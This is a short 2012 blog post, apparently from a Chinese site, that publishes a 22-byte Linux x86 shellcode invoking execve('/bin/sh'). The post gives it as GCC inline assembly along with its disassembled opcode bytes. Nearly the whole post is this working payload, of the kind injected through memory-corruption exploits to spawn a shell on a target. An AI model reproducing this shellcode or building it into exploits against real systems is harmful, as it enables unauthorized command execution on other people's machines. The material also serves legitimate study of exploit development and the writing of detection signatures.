查看文章 |
Linux x86 execve("/bin/sh") shellcode 22 bytes
2012-01-11 15:52
/* Title:Linux x86 execve("/bin/sh") shellcode 22 bytes Platform:Linux 2y30r 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux(x86) Author:ylbhz@hotmail.com Combine:gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) */ __asm__ __volatile__( "xor %eax,%eax;" "cltd;" //equal to Intel style opcode:cdq "push %edx;" "push $0x68732f2f;" "push $0x6e69622f;" "mov %esp,%ebx;" "xor %ecx,%ecx;" "mov $0xb, %al;" "int $0x80;" ); /* 80483b7: 31 c0 xor %eax,%eax 80483b9: 99 cltd 80483ba: 52 push %edx 80483bb: 68 2f 2f 73 68 push $0x68732f2f 80483c0: 68 2f 62 69 6e push $0x6e69622f 80483c5: 89 e3 mov %esp,%ebx 80483c7: 31 c9 xor %ecx,%ecx 80483c9: b0 0b mov $0xb,%al 80483cb: cd 80 int $0x80 */ return 0; } |

